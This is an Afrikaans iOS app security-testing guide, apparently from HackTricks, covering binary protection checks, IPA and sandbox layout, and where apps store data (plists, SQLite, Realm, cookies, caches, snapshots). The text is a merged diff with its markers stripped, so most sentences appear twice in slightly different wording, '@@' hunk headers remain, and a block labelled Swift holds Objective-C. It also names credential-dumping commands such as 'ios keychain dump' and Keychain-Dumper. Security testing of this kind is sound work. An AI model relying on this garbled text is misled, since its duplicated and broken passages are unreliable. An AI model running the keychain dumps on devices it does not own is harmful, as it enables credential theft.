Vir die volgende stappe moet die program in die toestel geïnstalleer wees en moet jy reeds die **IPA-lêer** van die aansoek verkry het.\
Lees die [Basiese iOS Toetsoperasies](basic-ios-testing-operations.md) bladsy om te leer hoe om dit te doen.
{% endhint %}
### Basiese Statisiese Analise
Dit word aanbeveel om die gereedskap [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) te gebruik om 'n outomatiese Statisiese Analise op die IPA-lêer uit te voer.
Dit word aanbeveel om die instrument [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) te gebruik om 'n outomatiese Statisiese Analise op die IPA-lêer uit te voer.
Identifikasie van **beskermings wat teenwoordig is in die binêre lêer**:
* **PIE (Position Independent Executable)**: Wanneer dit geaktiveer is, laai die aansoek in 'n ewekansige geheue-adres elke keer as dit begin, wat dit moeiliker maak om sy aanvanklike geheue-adres te voorspel.
```bash
otool -hv <app-binêr> | grep PIE # Dit behoort die PIE-vlag in te sluit
otool -hv <app-binêr> | grep PIE # Dit moet die PIE-vlag insluit
```
* **Stapelkanaries**: Om die integriteit van die stapel te valideer, word 'n 'kanarie'-waarde op die stapel geplaas voordat 'n funksie aangeroep word en word weer gevalideer sodra die funksie eindig.
```bash
otool -I -v <app-binêr> | grep stack_chk # Dit behoort die simbole: stack_chk_guard en stack_chk_fail in te sluit
otool -I -v <app-binêr> | grep stack_chk # Dit moet die simbole insluit: stack_chk_guard en stack_chk_fail
```
* **ARC (Automatic Reference Counting)**: Om algemene geheuekorruptie-foute te voorkom
```bash
otool -I -v <app-binêr> | grep objc_release # Dit behoort die _objc_release-simbool in te sluit
otool -I -v <app-binêr> | grep objc_release # Dit moet die _objc_release-simbool insluit
```
* **Versleutelde Binêre**: Die binêre lêer behoort versleutel te wees
* **Versleutelde Binêre Lêer**: Die binêre lêer moet versleutel wees
```bash
otool -arch all -Vl <app-binêr> | grep -A5 LC_ENCRYPT # Die cryptid behoort 1 te wees
otool -arch all -Vl <app-binêr> | grep -A5 LC_ENCRYPT # Die cryptid moet 1 wees
```
**Identifikasie van Sensitiewe/Onveilige Funksies**
* **Swak Hashing Algoritmes**
* **Swak Hasing Algoritmes**
```bash
# Op die iOS-toestel
@ -147,9 +147,9 @@ grep -iER "_vsprintf"
Kyk na die dinamiese analise wat [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) uitvoer. Jy sal deur die verskillende aansigte moet blaai en met hulle moet interaksie hê, maar dit sal verskeie klasse koppel en ander dinge doen en 'n verslag voorberei sodra jy klaar is.
### Lys van Geïnstalleerde Apps
### Lys van Geïnstalleerde Aansoeke
Gebruik die opdrag `frida-ps -Uai` om die **bondel-identifiseerder** van die geïnstalleerde programme te bepaal:
Gebruik die opdrag `frida-ps -Uai` om die **bondelidentifiseerder** van die geïnstalleerde aansoeke te bepaal:
```bash
$ frida-ps -Uai
PID Name Identifier
@ -175,21 +175,21 @@ Leer hoe om die **komponente van die aansoek op te som** en hoe om maklik **meto
Die struktuur van 'n **IPA-lêer** is essensieel dié van 'n **gezip-pakket**. Deur sy uitbreiding te hernoem na `.zip`, kan dit **gedekomprimeer** word om sy inhoud te onthul. Binne hierdie struktuur verteenwoordig 'n **Bundel** 'n ten volle verpakte aansoek gereed vir installasie. Binne-in sal jy 'n gids vind met die naam `<NAME>.app`, wat die hulpbronne van die aansoek inkapsuleer.
* **`Info.plist`**: Hierdie lêer bevat spesifieke konfigurasiebesonderhede van die aansoek.
* **`_CodeSignature/`**: Hierdie gids sluit 'n plist-lêer in wat 'n handtekening bevat, wat die integriteit van alle lêers in die bundel verseker.
* **`_CodeSignature/`**: Hierdie gids sluit 'n plist-lêer in wat 'n handtekening bevat wat die integriteit van alle lêers in die bundel verseker.
* **`Assets.car`**: 'n Gekomprimeerde argief wat bate-lêers soos ikone stoor.
* **`Frameworks/`**: Hierdie vouer huisves die aansoek se inheemse biblioteke, wat in die vorm van `.dylib` of `.framework` lêers kan wees.
* **`PlugIns/`**: Dit kan uitbreidings tot die aansoek insluit, bekend as `.appex` lêers, alhoewel hulle nie altyd teenwoordig is nie.
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Dit word gebruik om jou aansoek se permanente data vir aflyngebruik te stoor, tydelike data te kash, en om ongedaanmaakfunksionaliteit by jou aansoek op 'n enkele toestel by te voeg. Om data oor verskeie toestelle in 'n enkele iCloud-rekening te sinchroniseer, spieël Core Data outomaties jou skema na 'n CloudKit-houer.
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Dit word gebruik om jou aansoek se permanente data vir aflyngebruik te stoor, tydelike data te kash, en om ongedaanmaakfunksionaliteit by jou aansoek op 'n enkele toestel by te voeg. Om data oor verskeie toestelle in 'n enkele iCloud-rekening te sinchroniseer, boots Core Data outomaties jou skema na 'n CloudKit-houer.
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Die `PkgInfo`-lêer is 'n alternatiewe manier om die tipe en skepperkodes van jou aansoek of bundel te spesifiseer.
* **en.lproj, fr.proj, Base.lproj**: Is die taalpakette wat hulpbronne vir daardie spesifieke tale bevat, en 'n verstekhulpbron in geval 'n taal nie ondersteun word nie.
* **en.lproj, fr.proj, Base.lproj**: Is die taalpakkette wat hulpbronne vir daardie spesifieke tale bevat, en 'n verstekhulpbron in geval 'n taal nie ondersteun word nie.
* **Sekuriteit**: Die `_CodeSignature/`-gids speel 'n kritieke rol in die aansoek se sekuriteit deur die integriteit van alle gebundelde lêers deur digitale handtekeninge te verifieer.
* **Batebestuur**: Die `Assets.car`-lêer gebruik kompressie om grafiese bates effektief te bestuur, wat noodsaaklik is vir die optimalisering van aansoekprestasie en die vermindering van sy algehele grootte.
* **Raamwerke en Inproppe**: Hierdie gide beklemtoon die modulariteit van iOS-aansoeke, wat ontwikkelaars in staat stel om herbruikbare kodebiblioteke (`Frameworks/`) in te sluit en aansoekfunksionaliteit uit te brei (`PlugIns/`).
* **Lokalisering**: Die struktuur ondersteun meertaligheid, wat globale aansoekbereik fasiliteer deur hulpbronne vir spesifieke taalpakette in te sluit.
* **Raamwerke en Inproppe**: Hierdie gide beklemtoon die modulariteit van iOS-aansoeke, wat ontwikkelaars in staat stel om herbruikbare kodelêers (`Frameworks/`) in te sluit en aansoekfunksionaliteit uit te brei (`PlugIns/`).
* **Lokalisering**: Die struktuur ondersteun meertaligheid, wat globale aansoekbereik fasiliteer deur hulpbronne vir spesifieke taalpakkette in te sluit.
**Info.plist**
Die **Info.plist** dien as 'n hoeksteen vir iOS-aansoeke, wat sleutelkonfigurasiedata inkapsuleer in die vorm van **sleutel-waarde** pare. Hierdie lêer is 'n vereiste nie net vir aansoeke nie, maar ook vir aansoekuitbreidings en raamwerke wat daarin gebundel is. Dit is gestruktureer in XML of 'n binêre formaat en bevat kritieke inligting wat strek van aansoektoestemmings tot sekuriteitskonfigurasies. Vir 'n gedetailleerde verkenning van beskikbare sleutels, kan 'n persoon verwys na die [**Apple Developer-dokumentasie**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
Die **Info.plist** dien as 'n hoeksteen vir iOS-aansoeke, wat sleutelkonfigurasiedata inkapsuleer in die vorm van **sleutel-waarde** pare. Hierdie lêer is 'n vereiste nie net vir aansoeke nie, maar ook vir aansoekuitbreidings en raamwerke wat daarin gebundel is. Dit is gestruktureer in XML of 'n binêre formaat en bevat kritieke inligting wat strek van aansoektoestemmings tot sekuriteitskonfigurasies. Vir 'n gedetailleerde verkenning van beskikbare sleutels, kan 'n persoon verwys na die [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
Vir diegene wat met hierdie lêer in 'n meer toeganklike formaat wil werk, kan die XML-omskakeling moeiteloos bereik word deur die gebruik van `plutil` op macOS (beskikbaar natively op weergawes 10.2 en later) of `plistutil` op Linux. Die opdragte vir omskakeling is as volg:
@ -202,7 +202,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Onder die menigte inligting wat die **Info.plist**-lêer kan onthul, sluit noemenswaardige inskrywings in soos app-toestemmingsreekse (`UsageDescription`), aangepaste URL-skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`). Hierdie inskrywings, tesame met ander soos uitgevoerde/ingevoerde aangepaste dokumenttipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik opgespoor word deur die lêer te ondersoek of deur 'n eenvoudige `grep`-bevel te gebruik:
Onder die menigte inligting wat die **Info.plist** lêer kan onthul, sluit noemenswaardige inskrywings in soos app-toestemmingsreekse (`UsageDescription`), aangepaste URL-skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`). Hierdie inskrywings, saam met ander soos uitgevoerde/ingevoerde aangepaste dokumenttipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik gevind word deur die lêer te ondersoek of deur 'n eenvoudige `grep`-bevel te gebruik:
```bash
$ grep -i <keyword> Info.plist
```
@ -225,7 +225,7 @@ Alternatief kan die app-naam binne die `/private/var/containers` gesoek word met
```bash
find /private/var/containers -name "Progname*"
```
Die opdragte soos `ps` en `lsof` kan ook gebruik word om die proses van die program te identifiseer en om oop lêers te lys, onderskeidelik, wat insig bied in die aktiewe gids van die aansoek:
Opdragte soos `ps` en `lsof` kan ook gebruik word om die proses van die program te identifiseer en om oop lêers te lys, onderskeidelik, wat insig bied in die aktiewe gids van die aansoek:
```bash
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
@ -234,42 +234,42 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
* **AppName.app**
* Dit is die Aansoekbondel soos voorheen gesien in die IPA, dit bevat noodsaaklike aansoekdata, statiese inhoud sowel as die aansoek se saamgestelde binêre.
* Hierdie gids is sigbaar vir gebruikers, maar **gebruikers kan nie daarin skryf nie**.
* Inhoud in hierdie gids word **nie gestoor nie**.
* Hierdie gids is sigbaar vir gebruikers, maar **gebruikers kan nie daarna skryf nie**.
* Inhoud in hierdie gids word **nie rugwaarts gesteun** nie.
* Die inhoud van hierdie gids word gebruik om die kodesignatuur te **valideer**.
**Data-gids:**
**Datagids:**
* **Dokumente/**
* Bevat alle gebruikers gegenereerde data. Die aansoek eindgebruiker inisieer die skepping van hierdie data.
* Sigbaar vir gebruikers en **gebruikers kan daarin skryf**.
* Inhoud in hierdie gids word **gestoor**.
* Sigbaar vir gebruikers en **gebruikers kan daarna skryf**.
* Inhoud in hierdie gids word **rugwaarts gesteun**.
* Die aansoek kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
* **Biblioteek/**
* Bevat alle **lêers wat nie gebruikersspesifiek is nie**, soos **gekassetteerde**, **voorkeure**, **koekies**, en eiendomslys (plist) konfigurasie lêers.
* iOS-aansoeke gebruik gewoonlik die `Toepassingsondersteuning` en `Kassette` subgidse, maar die aansoek kan aangepaste subgidse skep.
* **Biblioteek/Kassette/**
* Bevat **semi-blywende gekassetteerde lêers**.
* Onsigbaar vir gebruikers en **gebruikers kan nie daarin skryf nie**.
* Inhoud in hierdie gids word **nie gestoor nie**.
* Onsigbaar vir gebruikers en **gebruikers kan nie daarna skryf nie**.
* Inhoud in hierdie gids word **nie rugwaarts gesteun** nie.
* Die OS kan moontlik hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoor spasie min is.
* **Biblioteek/Toepassingsondersteuning/**
* Bevat **blywende lêers** wat nodig is vir die aansoek se werking.
* **Onsigbaar vir gebruikers** en gebruikers kan nie daarin skryf nie.
* Inhoud in hierdie gids word **gestoor**.
* **Onsigbaar vir gebruikers** en gebruikers kan nie daarna skryf nie.
* Inhoud in hierdie gids word **rugwaarts gesteun**.
* Die aansoek kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
* **Biblioteek/Voorkeure/**
* Word gebruik vir die stoor van eienskappe wat selfs nadat 'n aansoek heraangestart word, **bly voortbestaan**.
* Inligting word ongeënkripteer binne die aansoek sandput in 'n plist-lêer genaamd \[BONDSEL\_ID].plist gestoor.
* Alle sleutel/waarde pare wat met `NSUserDefaults` gestoor word, kan in hierdie lêer gevind word.
* Word gebruik om eienskappe te stoor wat selfs nadat 'n aansoek heraangestel word, **bly voortbestaan**.
* Inligting word ongekripteer binne die aansoek sandput in 'n plist-lêer genaamd \[BONDSEL\_ID].plist gestoor.
* Al die sleutel/waarde pare wat met `NSUserDefaults` gestoor word, kan in hierdie lêer gevind word.
* **tmp/**
* Gebruik hierdie gids om **tydelike lêers** te skryf wat nie tussen aansoekbeginne hoef vol te hou nie.
* Gebruik hierdie gids om **tydelike lêers** te skryf wat nie tussen aansoekbeginne moet voortbestaan nie.
* Bevat nie-blywende gekassetteerde lêers.
* Onsigbaar vir gebruikers.
* Inhoud in hierdie gids word nie gestoor nie.
* Inhoud in hierdie gids word nie rugwaarts gesteun nie.
* Die OS kan moontlik hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoor spasie min is.
Laten ons 'n nader blik werp op iGoat-Swift se Aansoekbondel (.app) gids binne die Bondelgids (`/var/containers/Bondel/Aansoek/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
Laten ons 'n nader kyk neem na iGoat-Swift se Aansoekbondel (.app) gids binne die Bondelgids (`/var/containers/Bondel/Aansoek/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@ -285,7 +285,7 @@ Regular 420 None ... README.txt
```
### Binêre Omkeer
Binne die `<application-name>.app` vouer sal jy 'n binêre lêer kry genaamd `<application-name>`. Dit is die lêer wat **uitgevoer** sal word. Jy kan 'n basiese inspeksie van die binêre lêer doen met die gereedskap **`otool`**:
Binne die `<application-name>.app`-vouer sal jy 'n binêre lêer genaamd `<application-name>` vind. Dit is die lêer wat sal **uitgevoer** word. Jy kan 'n basiese inspeksie van die binêre lêer uitvoer met die instrument **`otool`**:
```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
@ -361,13 +361,13 @@ double _field1;
double _field2;
};
```
Echter, die beste opsies om die binêre kode te ontleed is: [**Hopper**](https://www.hopperapp.com/download.html?) en [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
Togtans, die beste opsies om die binêre kode te ontleed is: [**Hopper**](https://www.hopperapp.com/download.html?) en [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik te bou en **werkstrome outomaties** te dryf met die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -380,15 +380,15 @@ Om te leer oor hoe iOS data op die toestel berg, lees hierdie bladsy:
{% endcontent-ref %}
{% hint style="warning" %}
Die volgende plekke om inligting te berg moet **direk na die installering van die aansoek** nagegaan word, **nadat al die funksionaliteite** van die aansoek nagegaan is en selfs nadat **uitgelog is van een gebruiker en ingeteken is by 'n ander**.\
Die volgende plekke om inligting te berg moet **direk na die installering van die aansoek** nagegaan word, **nadat al die funksionaliteite** van die aansoek nagegaan is en selfs nadat **uitgelê is van een gebruiker en ingeteken is by 'n ander**.\
Die doel is om **onbeskermde sensitiewe inligting** van die aansoek (wagwoorde, tokens), van die huidige gebruiker en van vorige ingeteken gebruikers te vind.
{% endhint %}
### Plist
**plist** lêers is gestruktureerde XML-lêers wat **sleutel-waarde pare bevat**. Dit is 'n manier om volgehoue data te berg, so soms mag jy **sensitiewe inligting in hierdie lêers vind**. Dit word aanbeveel om hierdie lêers na die installering van die aansoek en na intensiewe gebruik daarvan te kontroleer om te sien of nuwe data geskryf is.
**plist** lêers is gestruktureerde XML-lêers wat **sleutel-waarde pare bevat**. Dit is 'n manier om volgehoue data te berg, so soms mag jy **sensitiewe inligting in hierdie lêers vind**. Dit word aanbeveel om hierdie lêers na die installering van die aansoek en na intensiewe gebruik daarvan te ondersoek om te sien of nuwe data geskryf is.
Die mees algemene manier om data in plist-lêers vol te hou is deur die gebruik van **NSUserDefaults**. Hierdie plist-lêer word binne die aansoek se sandput gestoor in **`Library/Preferences/<appBundleID>.plist`**
Die mees algemene manier om data in plist-lêers vol te hou is deur die gebruik van **NSUserDefaults**. Hierdie plist-lêer word binne die aansoek se sandput in **`Library/Preferences/<appBundleID>.plist`** gestoor.
Die [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) klas bied 'n programmatiese koppelvlak vir interaksie met die verstekstelsel. Die verstekstelsel laat 'n aansoek toe om sy gedrag aan te pas volgens **gebruikersvoorkeure**. Data wat deur `NSUserDefaults` gestoor word, kan in die aansoekbundel besigtig word. Hierdie klas berg **data** in 'n **plist** **lêer**, maar dit is bedoel om met klein hoeveelhede data gebruik te word.
@ -402,7 +402,7 @@ find ./ -name "*.plist"
```
Om lêers vanaf **XML of binêre (bplist)** formaat na XML te omskep, is verskeie metodes beskikbaar, afhangende van jou bedryfstelsel:
**Vir macOS-gebruikers:** Maak gebruik van die `plutil`-bevel. Dit is 'n ingeboude gereedskap in macOS (10.2+), ontwerp vir hierdie doel:
**Vir macOS-gebruikers:** Maak gebruik van die `plutil`-opdrag. Dit is 'n ingeboude gereedskap in macOS (10.2+), ontwerp vir hierdie doel:
```bash
$ plutil -convert xml1 Info.plist
```
@ -411,7 +411,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
**Binne 'n Objection-sessie:** Vir die analise van mobiele aansoeke, laat 'n spesifieke bevel jou toe om plist-lêers direk te omskep:
**Binne 'n Objection-sessie:** Vir die analise van mobiele toepassings, laat 'n spesifieke bevel jou toe om plist-lêers direk te omskep:
```bash
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
```
@ -456,15 +456,15 @@ Aangesien die Yap-databasisse sqlite-databasisse is, kan jy hulle vind deur die
### Ander SQLite-databasisse
Dit is algemeen vir toepassings om hul eie sqlite-databasis te skep. Hulle kan **sensitiewe data** daarop **berg** en dit ongeënkripteer los. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids te ondersoek. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`).
Dit is algemeen vir toepassings om hul eie sqlite-databasis te skep. Hulle kan **sensitiewe data** daarop **berg** en dit onversleuteld los. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids te ondersoek. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase Real-Time Databasis
Ontwikkelaars kan **data stoor en sinchroniseer** binne 'n **NoSQL wolk-gehoste databasis** deur Firebase Real-Time Databases. Die data word gestoor in JSON-formaat en sinchroniseer na alle gekoppelde kliënte in werklike tyd.
Ontwikkelaars kan **data stoor en sinchroniseer** binne 'n **NoSQL-wolk-gehoste databasis** deur Firebase Real-Time Databasis. Gestoor in JSON-formaat, word die data gesinchroniseer na alle gekoppelde kliënte in werklike tyd.
Jy kan hier vind hoe om vir verkeerd gekonfigureerde Firebase databasisse te soek:
Jy kan uitvind hoe om vir verkeerd gekonfigureerde Firebase databasisse te soek hier:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
@ -472,9 +472,9 @@ Jy kan hier vind hoe om vir verkeerd gekonfigureerde Firebase databasisse te soe
### Realm databasisse
[Realm Objective-C](https://realm.io/docs/objc/latest/) en [Realm Swift](https://realm.io/docs/swift/latest/) bied 'n kragtige alternatief vir data stoor, wat nie deur Apple voorsien word nie. Standaard **stoor hulle data onversleutel**, met versleuteling beskikbaar deur spesifieke konfigurasie.
[Realm Objective-C](https://realm.io/docs/objc/latest/) en [Realm Swift](https://realm.io/docs/swift/latest/) bied 'n kragtige alternatief vir data-opberging, nie voorsien deur Apple nie. Standaard **stoor hulle data onversleuteld**, met versleuteling beskikbaar deur spesifieke konfigurasie.
Die databasisse is geleë by: `/private/var/mobile/Containers/Data/Application/{APPID}`. Om hierdie lêers te ondersoek, kan mens bevele soos die volgende gebruik:
Die databasisse is geleë by: `/private/var/mobile/Containers/Data/Application/{APPID}`. Om hierdie lêers te verken, kan mens opdragte soos die volgende gebruik:
```bash
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
@ -483,7 +483,7 @@ $ find ./ -name "*.realm*"
```
Vir die sien van hierdie databasis lêers, word die [**Realm Studio**](https://github.com/realm/realm-studio) gereedskap aanbeveel.
Om kodering binne 'n Realm databasis te implementeer, kan die volgende kodefragment gebruik word:
Om versleuteling binne 'n Realm databasis te implementeer, kan die volgende kodefragment gebruik word:
```swift
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
@ -505,9 +505,9 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
```
### Koekies
iOS stoor die koekies van die programme in die **`Library/Cookies/cookies.binarycookies`** binne elke program se vouer. Ontwikkelaars besluit egter soms om hulle in die **sleutelhangertoestel** te stoor aangesien die genoemde **koekie lêer in rugsteune toeganklik is**.
iOS stoor die koekies van die programme in die **`Library/Cookies/cookies.binarycookies`** binne elke program se vouer. Ontwikkelaars besluit egter soms om hulle in die **sleutelhangertoetsing** te stoor aangesien die genoemde **koekie-lêer in rugsteune toeganklik kan wees**.
Om die koekies lêer te ondersoek, kan jy [**hierdie Python-skrip**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) gebruik of objection se **`ios cookies get`.**\
Om die koekieslêer te ondersoek, kan jy hierdie [**python-skrip**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) gebruik of objection se **`ios cookies get`.**\
**Jy kan ook objection gebruik om** hierdie lêers na 'n JSON-formaat te omskep en die data te ondersoek.
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
@ -530,7 +530,7 @@ Standaard stoor NSURLSession data, soos **HTTP-versoeke en -antwoorde in die Cac
Dit word **aanbeveel om hierdie data se Kassering te deaktiveer**, aangesien dit sensitiewe inligting in die versoek of antwoord kan bevat. Die volgende lys toon verskillende maniere om dit te bereik:
1. Dit word aanbeveel om Gekasheerde antwoorde na uitlogging te verwyder. Dit kan gedoen word met die voorsiene metode deur Apple genaamd [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) Jy kan hierdie metode soos volg aanroep:
1. Dit word aanbeveel om Gekasheerde antwoorde na afmelding te verwyder. Dit kan gedoen word met die voorsiene metode deur Apple genaamd [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) Jy kan hierdie metode soos volg aanroep:
`URLCache.shared.removeAllCachedResponses()`
@ -544,9 +544,9 @@ Hierdie metode sal alle gekasheerde versoeke en antwoorde uit die Cache.db-lêer
### Snapshots
Telkens wanneer jy die tuisknoppie indruk, **neem iOS 'n oorskot van die huidige skerm** om die oorgang na die aansoek op 'n baie gladder manier te kan doen. Maar as **sensitiewe data** teenwoordig is op die huidige skerm, sal dit **gestoor** word in die **beeld** (wat **oorleef** **herlaaiings**). Dit is die oorskotte wat jy ook kan toegang deur dubbelklik op die tuiskerm om tussen programme te skakel.
Telkens wanneer jy die tuisknoppie indruk, **neem iOS 'n oorskot van die huidige skerm** om die oorgang na die aansoek op 'n baie gladder manier te kan doen. Maar as **sensitiewe data** teenwoordig is op die huidige skerm, sal dit **gestoor** word in die **beeld** (wat **oorleef** **herlaaiings**). Dit is die oorskote wat jy ook kan toegang deur dubbelklik op die tuiskerm om tussen programme te skakel.
Tensy die iPhone gejailbreak is, moet die **aanvaller** toegang hê tot die **toestel** wat **onblokkeer** is om hierdie skermskote te sien. Standaard word die laaste oorskot gestoor in die program se sandput in `Library/Caches/Snapshots/` of `Library/SplashBoard/Snapshots` gids (die vertroude rekenaars kan nie toegang kry tot die lêersisteem vanaf iOX 7.0 nie).
Tensy die iPhone gejailbreak is, moet die **aanvaller** toegang hê tot die **toestel** wat **ontblokke** is om hierdie skermskote te sien. Standaard word die laaste oorskot gestoor in die program se sandboks in `Library/Caches/Snapshots/` of `Library/SplashBoard/Snapshots` gids (die vertroude rekenaars kan nie toegang kry tot die lêersisteem vanaf iOX 7.0 nie).
Een manier om hierdie slegte gedrag te voorkom, is om 'n leë skerm te plaas of die sensitiewe data te verwyder voordat die oorskot geneem word met behulp van die `ApplicationDidEnterBackground()`-funksie.
@ -567,7 +567,7 @@ func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
```
### Doel-C:
**Doel-C:**
```
@property (UIImageView *)backgroundImage;
@ -586,11 +586,11 @@ Hierdie stel die agtergrondbeeld in op `overlayImage.png` wanneer die aansoek na
### Sleutelbos
Vir toegang tot en bestuur van die iOS-sleutelbos, is gereedskap soos [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) beskikbaar, geskik vir gejailbreakte toestelle. Daarbenewens bied [**Objection**](https://github.com/sensepost/objection) die bevel `ios keychain dump` vir soortgelyke doeleindes.
Vir toegang tot en bestuur van die iOS-sleutelbos, is gereedskap soos [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) beskikbaar, geskik vir gejailbreakte toestelle. Daarbenewens bied [**Objection**](https://github.com/sensepost/objection) die opdrag `ios keychain dump` vir soortgelyke doeleindes.
#### **Stoor Geldele**
#### **Stoor van Gelde**
Die **NSURLCredential** klas is ideaal vir die stoor van sensitiewe inligting direk in die sleutelbos, om die behoefte aan NSUserDefaults of ander omhulsels te vermy. Om geldele na aanmelding te stoor, word die volgende Swift-kode gebruik:
Die **NSURLCredential**-klas is ideaal vir die stoor van sensitiewe inligting direk in die sleutelbos, wat die behoefte aan NSUserDefaults of ander omhulsels omseil. Om gelde na die aanmelding te stoor, word die volgende Swift-kode gebruik:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@ -605,12 +605,12 @@ Met iOS 8.0 en later kan gebruikers aangepaste sleutelborduitbreidings installee
**Sekuriteitsaanbevelings:**
* Dit word aanbeveel om derdeparty sleutelborde te deaktiveer vir verbeterde sekuriteit.
* Wees bewus van die outokorreksie- en outo-voorstel-funksies van die verstek iOS-sleutelbord, wat sensitiewe inligting in die geheue lêers in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat` kan stoor. Hierdie geheue lêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die sleutelbordwoordeboek te herstel via **Instellings > Algemeen > Herstel > Herstel Sleutelbordwoordeboek** om gekaakte data te skoonmaak.
* Wees bewus van die outokorreksie en outo-voorstelle van die verstek iOS-sleutelbord, wat sensitiewe inligting in die geheue lêers in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat` kan stoor. Hierdie geheue lêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die sleutelbordwoordeboek te herstel via **Instellings > Algemeen > Herstel > Herstel Sleutelbordwoordeboek** om gekašeerde data te skoonmaak.
* Die onderskepping van netwerkverkeer kan onthul of 'n aangepaste sleutelbord sleutelstrokes op afstand oordra.
### **Voorkoming van Teksveldgeheue**
Die [UITextInputTraits-protokol](https://developer.apple.com/reference/uikit/uitextinputtraits) bied eienskappe om outokorreksie en veilige teksinvoer te bestuur, wat noodsaaklik is vir die voorkoming van die kaching van sensitiewe inligting. Byvoorbeeld, die deaktivering van outokorreksie en die aktivering van veilige teksinvoer kan bereik word met:
Die [UITextInputTraits-protokol](https://developer.apple.com/reference/uikit/uitextinputtraits) bied eienskappe om outokorreksie en veilige teksinvoer te bestuur, wat noodsaaklik is vir die voorkoming van die kasanering van sensitiewe inligting. Byvoorbeeld, die deaktivering van outokorreksie en die aktivering van veilige teksinvoer kan bereik word met:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
@ -632,7 +632,7 @@ Wanneer jy die bronkode van die app deurkyk vir potensiële lekkasies, soek na b
### **Monitering van Stelsellogs**
Apps log verskeie stukke inligting wat sensitief kan wees. Om hierdie logs te monitor, kan gereedskap en opdragte soos:
Apps log verskeie stukke inligting wat sensitief kan wees. Om hierdie logs te monitor, kan gereedskap en bevele soos:
```bash
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
@ -641,44 +641,44 @@ Is nuttig. Daarbenewens bied **Xcode** 'n manier om konsole-logboeke te versamel
1. Maak Xcode oop.
